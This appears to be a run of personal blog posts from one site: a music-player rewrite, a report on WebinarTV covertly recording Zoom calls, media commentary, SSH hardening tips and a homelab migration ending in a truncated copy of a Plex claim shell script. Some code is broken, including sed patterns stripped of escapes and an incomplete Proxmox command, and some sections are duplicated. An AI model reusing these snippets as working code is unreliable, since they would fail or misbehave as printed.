### Dynamic Accent Colour
Each song carries an album colour hex field set by the editor. On every track change, three CSS custom properties are derived from that value and applied to the document root — an accent colour, a muted version, and a background tint. The entire UI shifts palette with each song.
The colour derivation is done in JavaScript by converting the hex to HSL, clamping lightness to a readable range, and generating the variants programmatically. No colour picker needed in the CMS — the editor just picks a hex code from the album art.
### The Pinyin Toggle
Maomao Radio’s audience may not read Chinese characters. The lyrics panel includes a toggle that converts displayed lyrics to romanised Mandarin pinyin on demand.
`pinyin-pro` v3 handles the conversion. It is ~200KB and completely irrelevant to the Apollo deployment, so it is never loaded there. On Maomao, `applySettings()` detects the pinyin flag and pre-fetches the library before the user opens the lyrics panel, so the first tap on the toggle feels instant.
The library dropped its UMD bundle in version 3. Loading it as a script tag from a CDN returns a 404 HTML page which the browser refuses to execute as JavaScript. Dynamic import via esm.sh resolves the package’s ESM entry point correctly. The import promise is cached so subsequent calls never trigger a second network request.
One custom character mapping was required: 妳 (U+5A73, traditional Chinese female “you”) is missing from the library’s dictionary and defaults to the wrong reading. A `customPinyin({ '妳': 'nǐ' })` call at library-load time fixes it.
### iOS Safari
Three bugs specific to iOS Safari took time to solve.
`scrollTo({ behavior: 'smooth' })` inside a fixed-position container is silently ignored — replaced with a manual requestAnimationFrame scroll animation. `getBoundingClientRect()` returns stale coordinates inside fixed elements — replaced with `offsetTop`. And `overflow: hidden` on the body blocks all touch scrolling including inside nested panels — replaced with `overflow: auto` and `overscroll-behavior: contain` on the panel itself.
Brave on iPhone has a separate issue where the animated bottom toolbar collapses the viewport height enough to briefly trigger the landscape layout in CSS while the device is physically portrait. Fixed by gating the landscape styles on three media query conditions simultaneously: `orientation: landscape` combined with `max-height: 430px` and `min-width: 500px`.
### From 2012 to 2026
The original was as minimal as a web project gets. One HTML file, one JS file with hard-coded paths, assets in folders, Apache serving the lot. It ran for thirteen years without needing to change.
The rewrite was not prompted by anything breaking. It was about wanting a proper foundation — a CMS so playlists could be managed without editing code, a UI that felt considered, and a deployment that could be reproduced from scratch on a new machine. Claude Design handled the UI iteration; Claude Code handled the implementation work.
Thirteen years between versions. The idea behind the project — a hand-curated playlist, presented as an experience rather than a library — is exactly the same.
---
---
title: "Your meeting. Their podcast."
url: "https://alsonkaw.com/muse/your-meeting-their-podcast/"
lang: "en-US"
type: "post"
description: "WebinarTV has been secretly infiltrating Zoom calls, recording them without consent, and turning them into AI podcasts. Here's the full breakdown."
last_modified: "2026-04-18T10:35:25+00:00"
categories: [Cybersecurity & Digital Privacy Insights]
tags: [AI, Data Scraping, Privacy, Screw-Ups, Security, Technology, Zoom]
---
# Your meeting. Their podcast.
A company called WebinarTV has been quietly crawling the internet for Zoom links, sending bots with fake identities to join your meetings, recording everything without consent, converting it into an AI-generated podcast, and then — only after all of that — sending you an email to let you know. Congratulations, you’re on air.
404 Media [broke the story](https://www.404media.co/this-company-is-secretly-turning-your-zoom-calls-into-ai-podcasts/) in March. The mechanics: WebinarTV bills itself as “a search engine for the best webinars.” What it actually does is scrape public Zoom links, infiltrate sessions, and repackage recordings as AI-generated audio under a show called the “Phil & Amy Show.” The platform claims to host over 200,000 webinars. Nobody asked for most of them.
## How it starts
Tom Rademacher is a teacher and editor who organised a Zoom call for educators and education advocates after Trump’s election — specifically to discuss how to keep children safe from ICE. He made a deliberate call not to record it.
“I very intentionally did not record the webinar since we’d be talking politics and there were some local electeds and district leaders that were on,” Rademacher told 404 Media. “There were definitely people on there who it would have been bad politically and professionally to be, especially at the time, linked to being anti-Trump in an education space.”
On October 7, 2025, he received an email from Sarah Blair, VP of Communications at WebinarTV. Blair’s profile image appears to be AI-generated. She has no online presence.
“Your webinar is featured on the Phil & Amy Show,” the email read. “They talk about the highlights from your webinar — without giving away too much — to entice viewers.”
The link led to a WebinarTV page hosting the full recording, an AI-generated video summary, chapter markers jumping to different parts of the meeting, and a full AI-generated podcast episode — two synthetic personalities named Phil and Amy discussing the contents of the call, complete with quips and banter between them.
> “By suddenly having the whole meeting be public so you could see what [participants] were saying, after all the talk about safe spaces, it just felt super gross,”
—Rademacher
He asked Blair to take it down. She did. Then she sent him a follow-up:
“If you ever decide to expand your webinar audience and take advantage of valuable automated features — such as translation into eleven languages, chapter creation, preview clips, and searchable content within your webinar — we’d be happy to support you.”
They recorded his meeting without consent, got caught, took it down, and immediately tried to upsell him on their platform. That’s the business in one exchange.
## **The scale of it**
When 404 Media started digging, this wasn’t one incident. They found a Zoom call Joseph Cox did with the Freedom of the Press Foundation — one of their own — sitting on WebinarTV. Freedom of the Press told them it hadn’t given permission, though it concluded the situation was “more of a nuisance than a threat and probably inevitable given that our events are public.”
Emanuel Maiberg then clicked a random Zoom call on WebinarTV — an “AI, Equity & Access to Justice” session hosted by the Ontario Association of Black Paralegals. When he reached out to Dayna Cornwall, a project manager at the National Self-Represented Litigants Project who had hosted the call: “This is really odd/unsettling to learn about. We were not aware that our webinar was being recorded by Webinar.TV, and have never heard of it before.”
Two hundred thousand webinars. Educators, legal professionals, medical support groups, [addiction recovery meetings](https://www.404media.co/webinartv-secretly-scraped-zoom-meetings-of-anonymous-recovery-programs/), nonprofits. A significant portion of them had no idea.
## **How they’re getting in**
WebinarTV didn’t respond to 404 Media’s request for comment. But CyberAlberta — a Canadian cybersecurity organisation that got caught in the same net — [published a detailed investigation](https://cyberalberta.ca/zooming-out-webinartvs-rampant-scraping-of-online-meetings) into the mechanics.
Their finding: WebinarTV primarily gets access through third-party browser extensions. Extensions with calendar permissions can expose meeting invitation links without the user realising. Some users have apparently submitted meeting details to WebinarTV directly, without understanding what the platform does with them. The extensions in question include AI transcription tools and auto-join utilities — the kind of productivity software that has become standard in remote work environments.
The most damning detail from CyberAlberta’s report: at least one of the known extensions is listed on the Chrome Web Store as being developed by WebinarTV itself. They’re not just exploiting other people’s tools. They built their own door.
Freedom of the Press Foundation speculated that WebinarTV may also be using Zoom’s own API to scrape for public webinar links — which would directly violate Zoom’s terms of service, which prohibit using the API “to scrape, build databases, or otherwise create copies of any data.”
## **Zoom’s response**
When 404 Media asked Zoom, the spokesperson confirmed they’re aware of WebinarTV and similar services, noted they have no affiliation with them, and then delivered the expected non-answer: “These services are not affiliated with Zoom, and the activity described is not the result of a vulnerability or security issue within Zoom’s platform.”
Also technically accurate: “Because these recordings occur on the participant’s device and outside of Zoom’s environment, no platform — including Zoom — has the technical ability to fully prevent third-party screen recording.”
Both of these things are true. Neither of them is the point. Nobody accused Zoom of having a security flaw. The question is whether Zoom has any interest in taking a position on a company that, by its own description, is systematically harvesting sessions from Zoom’s platform using fake attendees and browser extensions. So far the answer appears to be: not really. Zoom’s practical advice to users was to avoid posting meeting links publicly, manually approve registrants, and enable watermarking. The burden, as usual, goes to the people being scraped.
## **The defence doesn’t hold**
WebinarTV’s FAQ describes the service as “DMCA compliant” and “a good internet citizen.” Robertson, when pressed, has argued that WebinarTV only scrapes webinars — not meetings — and that Zoom webinars are public by design. His framing: if a link was accessible, the content was public.
This is a deliberate conflation of technical accessibility with consent. The people on these calls used Zoom webinar format because it handles large attendee counts — not because they were broadcasting to the general public. The educators on Rademacher’s call were there in a trusted context. The addiction recovery participants were there for anonymity. The Graves’ Disease Foundation vetted their attendees one by one from a waiting room. The link being findable doesn’t mean the people on the call consented to being content.
Robertson also claims he contacts every host twice before listing content. What actually happens: the recording goes up first. The email comes after. The consent is requested retroactively, and if the host misses the email, doesn’t recognise it as legitimate, or simply doesn’t check in time, the content stays live.
This is the opt-out model dressed up as courtesy. It shifts the labour of protecting your own privacy onto you, after the extraction has already happened.
## **Robertson’s track record**
This isn’t Robertson’s first run at this playbook. He previously ran MP3Tunes, an online music storage service [found liable for copyright infringement in 2014](https://www.techdirt.com/2014/03/26/jury-hits-michael-robertson-with-estimated-41-million-infringement-bill-over-mp3tunes/) and ordered to pay $41 million. Build a platform that monetises other people’s content, argue legality when challenged, let the system chase you.
The pattern hasn’t changed. The technology has just gotten better at automating it.
## **What you should do**
If you run Zoom sessions with any expectation of privacy:
- Require manual registration approval. It’s friction, but it’s a filter.
- Enable a waiting room and verify participants before admitting them.
- Lock the meeting once all expected attendees are in.
- Audit which browser extensions have calendar access — yours and, if you can, your regular attendees’.
- Search WebinarTV for your name, your organisation, or your past event titles. If something shows up that shouldn’t be there, request removal at [remove@webinartv.us](mailto:remove@webinartv.us) — and follow up, because [Trustpilot](https://www.trustpilot.com/review/webinartv.us) is full of people reporting that the first request did nothing.
[CyberAlberta’s full report](https://cyberalberta.ca/zooming-out-webinartvs-rampant-scraping-of-online-meetings) has a detailed breakdown of how the platform operates and a practical hardening checklist. Worth reading if you run regular public-facing sessions.
## **The actual product**
WebinarTV’s site describes its model plainly: “Search, browsing and playback are all free for viewers. There is no cost for a webinar to be included in WebinarTV. There are additional optional marketing opportunities available for hosts.”
The “optional marketing opportunities” are the revenue line. The free content — scraped from sessions people didn’t consent to share — is the inventory that makes the platform worth paying to advertise on. Rademacher’s ICE meeting, Cornwall’s legal session, the addiction recovery groups: they’re not edge cases. They’re the product.
Phil and Amy aren’t real. Sarah Blair probably isn’t either. But the people on those calls were. And none of them signed up to be content.
---
---
title: "Velocity Is the New Authority"
url: "https://alsonkaw.com/muse/velocity-is-the-new-authority/"
lang: "en-US"
type: "post"
description: "By the time you finish this paragraph, the feed has refreshed itself several times. A handful of new headlines have surfaced. Most will disappear before the hour ends, including for the people who posted them. Scroll for ten minutes and"
last_modified: "2026-02-24T04:38:06+00:00"
categories: [Psychology & Human Behavior]
tags: [Social Media, YouTube]
---
# Velocity Is the New Authority
By the time you finish this paragraph, the feed has refreshed itself several times. A handful of new headlines have surfaced. Most will disappear before the hour ends, including for the people who posted them. Scroll for ten minutes and try to recount what you consumed. Speed fills the space where substance used to sit.
## **From Authority to Velocity**
[Om Malik](https://om.co/2026/01/21/velocity-is-the-new-authority-heres-why/?ref=DenseDiscovery-377) recently offers a structural explanation. He argues that the information ecosystem once organised itself around authority. Attention accrued to people who proved reliable over time. Today the organising principle is velocity.
>
“What matters now is how fast something moves through the network: how quickly it is clicked, shared, quoted, replied to, remixed, and replaced. In a system tuned for speed, authority is ornamental. The network rewards motion first and judgment later, if ever. Perhaps that’s why you feel you can’t discern between truths, half-truths, and lies.”
>
“Networks compress time and space, then quietly train us to live at their speed.”
This is a systems argument. Platforms designed incentives that privilege acceleration. Writers, reviewers, and newsrooms adjusted because distribution depends on compliance with those incentives. The algorithm functions as culture. It sets the terms of visibility and shapes behaviour. The algorithm also has owners; it reflects decisions.
## **The YouTube Review Cycle**
Malik points to YouTube tech reviews. When an embargo lifts, dozens of videos publish within minutes. Production quality aligns. Talking points converge. Conclusions cluster. The reviewer who spends months living with a device publishes later and rarely reaches the same audience.
>
“The system rewards whoever speaks first, not whoever lives with it long enough to understand it. The ‘review’ at launch outperforms the review written two months later by orders of magnitude. The second, longer, more in-depth, more honest review might as well not exist. It’s not that people are less honest by nature. It’s that the structure pays a premium for compliance and levies a tax on independence. The result is a soft capture where creators don’t have to be told what to say. The incentives do the talking.”
## **Designed Incentives, Predictable Outcomes**
The pattern extends beyond tech.
>
“People do what the network rewards. Writers write for the feed. Photographers shoot for the scroll. Newsrooms frame stories as conflict because conflict travels faster than nuance. Even our emotional lives adapt to latency and refresh cycles. The design of the network becomes the choreography of daily life.”
The outcome follows the incentive structure. Culture optimises for first takes.
Authority driven media carried its own distortions. Gatekeeping concentrated power and limited access. Malik does not argue for restoration. The loss concerns tempo. A slower cycle allowed ideas to face scrutiny before replacement. Today replacement often arrives first.
---
---
title: "Lossless Streaming Now On Spotify Premium"
url: "https://alsonkaw.com/muse/lossless-streaming-now-on-spotify-premium/"
lang: "en-US"
type: "post"
description: "via Spotify, For the Record Spotify just rolled out something listeners have been asking about for years: lossless audio for Premium subscribers. That means you can finally stream music in 24-bit/44.1 kHz FLAC, giving you more detail, depth, and nuance"
last_modified: "2025-09-18T03:59:21+00:00"
categories: [Social Media News & Platform Updates]
tags: [Lossless, Music, Spotify]
---
# Lossless Streaming Now On Spotify Premium
via [Spotify, For the Record](https://newsroom.spotify.com/2025-09-10/lossless-listening-arrives-on-spotify-premium-with-a-richer-more-detailed-listening-experience/)
Spotify just rolled out something listeners have been asking about for years: lossless audio for Premium subscribers. That means you can finally stream music in 24-bit/44.1 kHz FLAC, giving you more detail, depth, and nuance than the usual compressed streams. It’s a big step forward if you’ve ever felt like your favorite tracks were missing some of the texture you’d hear on a CD or vinyl.
The feature isn’t locked behind a new plan—it’s included with Premium. You’ll be able to choose whether to stream or download in lossless depending on your connection. Spotify even shows you the data costs for each quality option, so you can decide if you want the extra fidelity on Wi-Fi, cellular, or offline downloads. The little “Lossless” indicator in the Now Playing screen will let you know when it’s active.
Right now, it works on mobile, desktop, tablets, and a bunch of Spotify Connect devices from brands like Sony, Bose, Samsung, and Sennheiser. Support for Sonos and Amazon gear is rolling out next month. The one catch? Bluetooth still compresses audio, so if you really want the full effect you’ll need wired headphones or speakers—or a Connect device over Wi-Fi.
Spotify is rolling this out to Premium users across 50+ countries, including the US, UK, Australia, Germany, Japan, and Sweden, with more regions coming through October. If you’re eligible, you’ll get a notification, and you can flip the switch under Settings → Media Quality.
For Linux users, access is facilitated through the official Spotify app, utilizing the Chromium Embedded Framework to ensure cross-platform compatibility. However, subscribers will need to manually activate the feature on each of their devices to enjoy the enhanced quality.
This upgrade positions Spotify alongside its competitors, enhancing the listening experience for its users and potentially drawing in more audiophiles seeking the best audio streaming options.
For anyone who’s been frustrated with Spotify’s sound quality compared to Apple Music or Tidal, this levels the playing field. Casual listeners can stick to lighter settings, but if you’ve got decent gear and care about the details, this is the update you’ve been waiting for.
---
---
title: "Why We Won’t Hire a Junior with Five Years of Experience"
url: "https://alsonkaw.com/muse/why-we-wont-hire-a-junior-with-five-years-of-experience/"
lang: "en-US"
type: "post"
description: "37signals is on the lookout for a new junior programmer, and they're offering an impressive annual salary of USD$145,849. They're not just looking for someone with a ton of experience—they want a candidate with incredible potential. The idea is that"
last_modified: "2025-04-09T22:31:29+00:00"
categories: [Career Development & Professional Growth]
custom_fields:
views: 1483
---
# Why We Won’t Hire a Junior with Five Years of Experience
37signals is on the lookout for a new junior programmer, and they’re offering an impressive annual salary of USD$145,849. They’re not just looking for someone with a ton of experience—they want a candidate with incredible potential. The idea is that someone fresh out of school or early in their career can grow much faster than someone with five years of experience, whose growth might be more predictable.
via [David Heinemeier Hansson](https://world.hey.com/dhh) @ [Hey](https://world.hey.com/dhh/why-we-won-t-hire-a-junior-with-five-years-of-experience-0a548994)
---
---
title: "5 Essential Steps to Secure Your SSH Servers"
url: "https://alsonkaw.com/muse/5-essential-steps-to-secure-your-ssh-servers/"
lang: "en-US"
type: "post"
description: "If you're like me and still find value in using traditional servers over the trendy serverless options, securing your SSH access is key. Whether you're maintaining a legacy system or running predictable workloads, keeping your SSH connections secure is crucial."
last_modified: "2025-03-19T05:30:55+00:00"
categories: [Homelab Projects & Self-Hosting Adventures]
---
# 5 Essential Steps to Secure Your SSH Servers
If you’re like me and still find value in using traditional servers over the trendy serverless options, securing your SSH access is key. Whether you’re maintaining a legacy system or running predictable workloads, keeping your SSH connections secure is crucial. Here’s how you can lock down your SSH servers in five straightforward steps.
### 1. Restrict SSH Access to a Private Network
First things first, don’t let SSH connections be accessible from just anywhere. Limit access to your server by allowing SSH connections only from a controlled IP range within a private network. This means anyone trying to connect must first be within your private network. You can configure this using tools like `iptables` or `ufw` on your server, or by adjusting the firewall settings on your hosting provider’s network interface.
### 2. Set Up a Bastion Server
Need to allow internet access while keeping security tight? Enter the bastion server. This acts as an intermediary SSH server that you can access from the internet but doesn’t store any sensitive data itself. It’s like your personal gateway, ensuring that only vetted traffic gets through.
### 3. Forward SSH Keys
Since your bastion server won’t hold any keys, set up SSH key forwarding. This allows you to securely connect from your local machine through the bastion to your target server. Here’s a quick setup:
- Edit your `~/.ssh/config` to route through the bastion server and forward keys:
Host bastion-00
HostName 192.168.0.11
User logic
ForwardAgent yes
Host swarm-11
HostName 192.168.0.42
User logic
ForwardAgent yes
ProxyCommand ssh -W %h:%p bastion-00
- Start the SSH agent and add your private key:
ssh-agent
ssh-add -k
Now, you can connect to your target server (swarm-11) via the bastion server (bastion-00) without storing private keys on the bastion. If your SSH public key isn’t already on the servers, copy it over using:
ssh-copy-id bastion-00
ssh-copy-id swarm-11
### 4. Use Key-Only Authentication
Ditch passwords for SSH access. Rely solely on key authentication to connect to your servers. To disable password authentication, update the SSH daemon configuration file (`/etc/ssh/sshd_config`) by setting:
PasswordAuthentication no
Then reload your SSH server. On systems using systemd, like Ubuntu, you can restart SSH with:
systemctl restart ssh
### 5. Disallow Root SSH Access
Keep root access via SSH off-limits. SSH connections should be made using non-root users, escalating privileges with `su` or `sudo` when necessary. Ensure this by setting:
PermitRootLogin no
in your SSH daemon configuration. This adds an extra layer of security, requiring strong password authentication for any privilege escalation.
### A Few More Considerations
Before making changes to your SSH configuration, ensure you can still connect to your server. Test your connection after each change to avoid locking yourself out. With these steps, you’re set to keep your SSH servers secure and running smoothly.
By following these best practices, you’ll greatly enhance the security of your SSH servers, ensuring that only authorized users can access your systems. Happy securing!
---
---
title: "Best 10 AI Color Palette Generators for 2025"
url: "https://alsonkaw.com/muse/best-10-ai-color-palette-generators-for-2025/"
lang: "en-US"
type: "post"
description: "If you haven't jumped on the AI color palette generator bandwagon yet, you're in for a treat. These tools make crafting stunning color combos a breeze, transforming your design game entirely. Here are my top 10 picks that every designer"
last_modified: "2025-02-24T09:26:00+00:00"
categories: [Creative Design Trends & UX/UI Innovation]
tags: [AI Design Tools, Color Palette Generators, Creative Tools, Design Inspiration, Graphic Design]
---
# Best 10 AI Color Palette Generators for 2025
If you haven’t jumped on the AI color palette generator bandwagon yet, you’re in for a treat. These tools make crafting stunning color combos a breeze, transforming your design game entirely. Here are my top 10 picks that every designer should check out, complete with standout features and why they’re a must-have.
## [1. Radix UI Colors](https://www.radix-ui.com/colors)
[
 ](https://www.radix-ui.com/colors)
Radix UI Colors is your go-to for customizable, accessible palettes that blend seamlessly with modern design systems. Perfect for UI/UX designers looking to create inclusive interfaces.
## [2. Colorbox.io](https://colorbox.io/)
[
 ](https://colorbox.io/)
Need accessible color systems? Colorbox has you covered with WCAG-compliant palettes and intuitive sliders for easy adjustments. Ideal for crafting user-friendly interfaces.
## [3. ColorAI](https://colorai.app/)
[
 ](https://colorai.app/)
ColorAI uses cutting-edge algorithms to generate eye-catching palettes that align with your project goals. It’s a game-changer for marketers and brand designers.
## [4. UI Colors](https://uicolors.app/create)
[
 ](https://uicolors.app/create)
UI Colors offers straightforward tools for creating palettes tailored to modern web and app interfaces. It’s a simple yet powerful solution for UI/UX designers.
## [5. Coolors](https://coolors.co/)
[
 ](https://coolors.co/)
Coolors is all about ease, providing an intuitive platform for creating and exporting color schemes quickly. It’s perfect for designers at all levels who want a seamless workflow.
## [6. Realtime Colors](https://www.realtimecolors.com/)
[
 ](https://www.realtimecolors.com/)
With Realtime Colors, you get dynamic palette generation with real-time previews. This tool is perfect for those who thrive on instant feedback and iterative design.
## [7. Paletton](https://www.radix-ui.com/colors)
[
 ](https://www.radix-ui.com/colors)
For those who love traditional color theory, Paletton offers an intuitive wheel-based interface to craft harmonious palettes. It’s a classic choice for timeless designs.
## [8. Butterfly Tints & Shades Generator](https://getbutterfly.com/tools/tints-shades-hues-generator/)
[
 ](https://getbutterfly.com/tools/tints-shades-hues-generator/)
This tool is your best bet for exploring tonal variations, offering tints, shades, and hues that add subtle depth to your designs.
## [9. Randoma11y](https://randoma11y.com/)
[
 ](https://randoma11y.com/)
Feeling creative? Randoma11y generates accessible color pairs that are both fun and practical for inclusive design.
## [10. Khroma](https://www.khroma.co/)
[
 ](https://www.khroma.co/)
Khroma learns your color preferences and churns out personalized palettes that fit your unique style. It’s like having a personal color assistant.
These AI tools are redefining the design landscape by making color palette creation easier and more efficient. Dive into these options and find the perfect match to elevate your projects.
---
---
title: "How I Built a Budget Server That Packs a Punch Part 2"
url: "https://alsonkaw.com/muse/how-i-built-a-budget-server-that-packs-a-punch-part-2/"
lang: "en-US"
type: "post"
description: "Moving Digital Furniture Without Breaking Anything Ah yes, the fun part of building a new server—migration. If hardware assembly feels like building IKEA furniture, service migration is more like moving a fully decorated house, room by room, hoping nothing fragile"
last_modified: "2025-01-16T02:33:58+00:00"
categories: [Homelab Projects & Self-Hosting Adventures]
tags: [GPU Passthrough, Home-Lab Build, Plex Migration, Promox Virtualization, Server Migration, Server Upgrade]
---
# How I Built a Budget Server That Packs a Punch Part 2
## Moving Digital Furniture Without Breaking Anything
Ah yes, the fun part of building a new server—migration. If hardware assembly feels like building IKEA furniture, service migration is more like moving a fully decorated house, room by room, hoping nothing fragile gets dropped along the way. My older **HP Z600** had accumulated quite the collection of services—**Docker** containers, web servers, **Apache** configs, and some stray gremlins I’m sure were hiding in the corner.
The first step was mapping everything out. Which services needed to be isolated for security? Which ones needed to stay online even when I was tinkering with something else? And most importantly, which services were unnecessarily running in host mode and could now finally be wrangled into neat little **Docker** containers? **Plex**, **CrowdSec**, and **Glances** were all freeloading in host mode on the old server, and that wasn’t going to fly anymore.
So, let’s break down how I approached this migration and what the new server is hosting.
Docker Server: My Personal Service Playground
This is where most of my personal Docker services live, alongside all my **dev/staging WordPress instances**. It’s essentially the sandbox for all my experiments, side projects, and apps I absolutely _needed_ to self-host because… well, reasons.
Some notable residents of this server include:
- **40 WordPress installations** (because one blog is never enough).
- **SFTPGO**, which serves as my backup server for all WordPress sites via UpdraftPlus.
- **AriaNG** for managing downloads.
- **FreshRSS & Feedropolis** to pretend I’m still organized about my readings.
- **Actual Budget & Firefly III** for financial management (or at least, financial _awareness_).
- **Glances** for system monitoring.
- **Nextcloud** for file storage.
- **Immich** for photo and video management.
- **Plex** for transcoding Linux ISOs (wink).
- And, of course, **Portainer** to keep this digital circus in order.
Basically, if it can run in a container and I can tinker with it, it lives here.
Docker Server for Clients: No Downtime Allowed
This is the “serious” Docker server. It hosts client projects, production WordPress sites, and APIs that absolutely _cannot_ go down every time I decide to reboot my main Docker playground. This server also runs **Portainer Agent**, allowing me to monitor and manage it remotely as part of a node cluster.
It’s like the quiet, responsible sibling of my chaotic personal Docker server.
Web Server: Apache Makes a Comeback
Originally, I thought about switching over to **Traefik** during the migration. But after some testing, I realized Traefik is essentially just a traffic cop—it routes domains to the right ports, but it doesn’t handle PHP or virtual hosts, which are essential for my setup.
So, I stuck with good ol’ **Apache2**. This time, though, I made sure to properly set up **Mod-Security2** for added protection. I also installed **Docker** to run MySQL and PostgreSQL databases, which are much easier to manage in containers.
Migration was surprisingly smooth. A simple **rsync** to move the files, a **mysqldump** from the HP Z600, and importing those SQL files into the Docker database containers on the new server did the trick. Nothing exploded, and Apache fired up without throwing tantrums.
LXCs: The Lightweight Champions
I’m currently running **three LXC containers**, each serving a very specific purpose:
- **Cloudflared** for secure tunneling.
- **AdGuard Home** for network-wide ad blocking.
- **Uptime Kuma** (running two instances) for service monitoring.
These were relatively easy to set up. For Cloudflared and AdGuard Home, I used [community scripts](https://community-scripts.github.io/ProxmoxVE/) available for ProxmoxVE. As for Uptime Kuma, I opted for a rootless Docker setup to keep things clean and isolated.
The three containers fit perfectly into the free three-node limitation of the **Proxmox Business Plan**. It’s almost like I planned it.
This is where most of my personal Docker services live, alongside all my **dev/staging WordPress instances**. It’s essentially the sandbox for all my experiments, side projects, and apps I absolutely _needed_ to self-host because… well, reasons.
Some notable residents of this server include:
- **40 WordPress installations** (because one blog is never enough).
- **SFTPGO**, which serves as my backup server for all WordPress sites via UpdraftPlus.
- **AriaNG** for managing downloads.
- **FreshRSS & Feedropolis** to pretend I’m still organized about my readings.
- **Actual Budget & Firefly III** for financial management (or at least, financial _awareness_).
- **Glances** for system monitoring.
- **Nextcloud** for file storage.
- **Immich** for photo and video management.
- **Plex** for transcoding Linux ISOs (wink).
- And, of course, **Portainer** to keep this digital circus in order.
Basically, if it can run in a container and I can tinker with it, it lives here.
This is the “serious” Docker server. It hosts client projects, production WordPress sites, and APIs that absolutely _cannot_ go down every time I decide to reboot my main Docker playground. This server also runs **Portainer Agent**, allowing me to monitor and manage it remotely as part of a node cluster.
It’s like the quiet, responsible sibling of my chaotic personal Docker server.
Originally, I thought about switching over to **Traefik** during the migration. But after some testing, I realized Traefik is essentially just a traffic cop—it routes domains to the right ports, but it doesn’t handle PHP or virtual hosts, which are essential for my setup.
So, I stuck with good ol’ **Apache2**. This time, though, I made sure to properly set up **Mod-Security2** for added protection. I also installed **Docker** to run MySQL and PostgreSQL databases, which are much easier to manage in containers.
Migration was surprisingly smooth. A simple **rsync** to move the files, a **mysqldump** from the HP Z600, and importing those SQL files into the Docker database containers on the new server did the trick. Nothing exploded, and Apache fired up without throwing tantrums.
I’m currently running **three LXC containers**, each serving a very specific purpose:
- **Cloudflared** for secure tunneling.
- **AdGuard Home** for network-wide ad blocking.
- **Uptime Kuma** (running two instances) for service monitoring.
These were relatively easy to set up. For Cloudflared and AdGuard Home, I used [community scripts](https://community-scripts.github.io/ProxmoxVE/) available for ProxmoxVE. As for Uptime Kuma, I opted for a rootless Docker setup to keep things clean and isolated.
The three containers fit perfectly into the free three-node limitation of the **Proxmox Business Plan**. It’s almost like I planned it.
## Docker Migration: The Good, The Bad, and The Database
Migrating most Docker services was blissfully simple—it was mostly a matter of copying volumes over using **rsync**. Here’s the command I used:
sudo rsync -avogh --info=progress2 folder/file user@new-server-ip:path
Breakdown of the options
The **-a** option copy files recursively and preserve ownership of files when files are copied.
**-v** runs the verbose version of the command; all of the processes that are run will be written out for the user to read
**-o** preserves the owner of the files (since I’m using sudo and some docker volumes are mapped as root:root)
**-g** preserves the group, same reason as the above.
**-h** output numbers in a human-readable format
**–info=progress2** just makes the transfer information more readable
The **-a** option copy files recursively and preserve ownership of files when files are copied.
**-v** runs the verbose version of the command; all of the processes that are run will be written out for the user to read
**-o** preserves the owner of the files (since I’m using sudo and some docker volumes are mapped as root:root)
**-g** preserves the group, same reason as the above.
**-h** output numbers in a human-readable format
**–info=progress2** just makes the transfer information more readable
### The Problematic Transfers
But not everything went smoothly. **Databases** threw a wrench into my plans. Instead of just copying MySQL or PostgreSQL data folders, I realized it was far safer to **export the databases using mysqldump**, set up fresh containers, and then import the SQL files back in. This ensured data integrity and saved me from a potential cascade of permission-related headaches.
##### 1. Nextcloud: A Comedy of Disk Mapping Errors
In theory, migrating **Nextcloud** should’ve been a simple shift-and-lift operation. In practice? Not so much.
When mounting disks in Proxmox using the following command:
qm set -virtio_ /dev/sd
Next is to mount the right disks at the right place. I have quite a convoluted disk mapping of Nextcloud as follows.
vda 9.1T 0 disk nextcloud/data
vdb 9.1T 0 disk nextcloud/data/maya/files/linux-iso-1
vdc 9.1T 0 disk nextcloud/data/maya/files/linux-iso-2
vdd 9.1T 0 disk nextcloud/data/maya/files/linux-iso-3
I managed to mess up the mapping. Instead of pointing the first disk to `nextcloud/data`, I accidentally pointed it to `nextcloud/`. Cue hours of debugging, hair-pulling, and the quiet sobbing of lost ISOs.
Lesson learned: triple-check disk mappings before committing.
##### 2. Plex: Claim Key Drama and GPU Passthrough Shenanigans
###### The Migration
Previously, Plex was running as a host service on my old HP Z600, casually freeloading on the system like a roommate who eats your food and never cleans up. Moving it into a **Docker container** felt like the right move—more isolation, easier updates, and fewer spaghetti config files lying around.
But Plex, in all its wisdom, requires a **Claim Key** when you move servers. No key? No Plex. And Plex doesn’t make this process easy if your server isn’t running locally. After scrolling through forums, swearing at error messages, and questioning my life choices, I stumbled upon **[uglymagoo’s plex-claim-server](https://github.com/uglymagoo/plex-claim-server) GitHub project**. Shoutout to that hero—seriously. Without it, I’d probably still be staring at a blinking login screen, wondering if Plex had become self-aware and was actively gaslighting me.
Instructions for claiming in case GitHub was taken offline
# Claim your Linux Plex server from the shell
[](https://github.com/uglymagoo/plex-claim-server#claim-your-linux-plex-server-from-the-shell)
## Introduction
[](https://github.com/uglymagoo/plex-claim-server#introduction)
The Plex Media Server setup requires you to link your new server to your plex.tv account. This is done by initially accessing your server from “the same network” [1]. This can be a little “complicated” on a remote headless server if you have never heard of an “ssh tunnel” before.
The script in this git repo just uses the same mechanics that are used by the official Plex Docker image [2]. In fact, the script is just a refactored version of the Docker script.
## Usage
[](https://github.com/uglymagoo/plex-claim-server#usage)
- Make the script executable: `chmod +x plex-claim-server.sh`
- Get your Plex Claim Code (it’s only valid some minutes): [https://www.plex.tv/claim/](https://www.plex.tv/claim/)
- Claim your server: `sudo -u plex ./plex-claim-server.sh "$YOUR_CLAIM_CODE"`
- Restart your Plex Media Server, e.g. with `sudo systemctl restart plexmediaserver`
## Advanced Usage
[](https://github.com/uglymagoo/plex-claim-server#advanced-usage)
Set the environment variable `PLEX_MEDIA_SERVER_APPLICATION_SUPPORT_DIR` to tell the script about your non-default Plex setup.
[1] [https://support.plex.tv/articles/200288586-installation/#toc-2](https://support.plex.tv/articles/200288586-installation/#toc-2)
[2] [https://github.com/plexinc/pms-docker](https://github.com/plexinc/pms-docker)
Copy of plex-claim-server.sh
#!/bin/bash
# If we are debugging, enable trace
if [ "${DEBUG,,}" = "true" ]; then
set -x
fi
function getPref {
local key="$1"
sed -n -E "s/^.*${key}="([^"]*)".*$/1/p" "${prefFile}"
}
function setPref {
local key="$1"
local value="$2"
count="$(grep -c "${key}" "${prefFile}")"
count=$(($count + 0))
if [[ $count > 0 ]]; then
sed -i -E "s/${key}="([^"]*)"/${key}="$value"/" "${prefFile}"
else
sed -i -E "s//>/ ${key}="$value"/>/" "${prefFile}"
fi
}
home="$(echo ~plex)"
pmsApplicationSupportDir="${PLEX_MEDIA_SERVER_APPLICATION_SUPPORT_DIR:-${home}/Library/Application Support}"
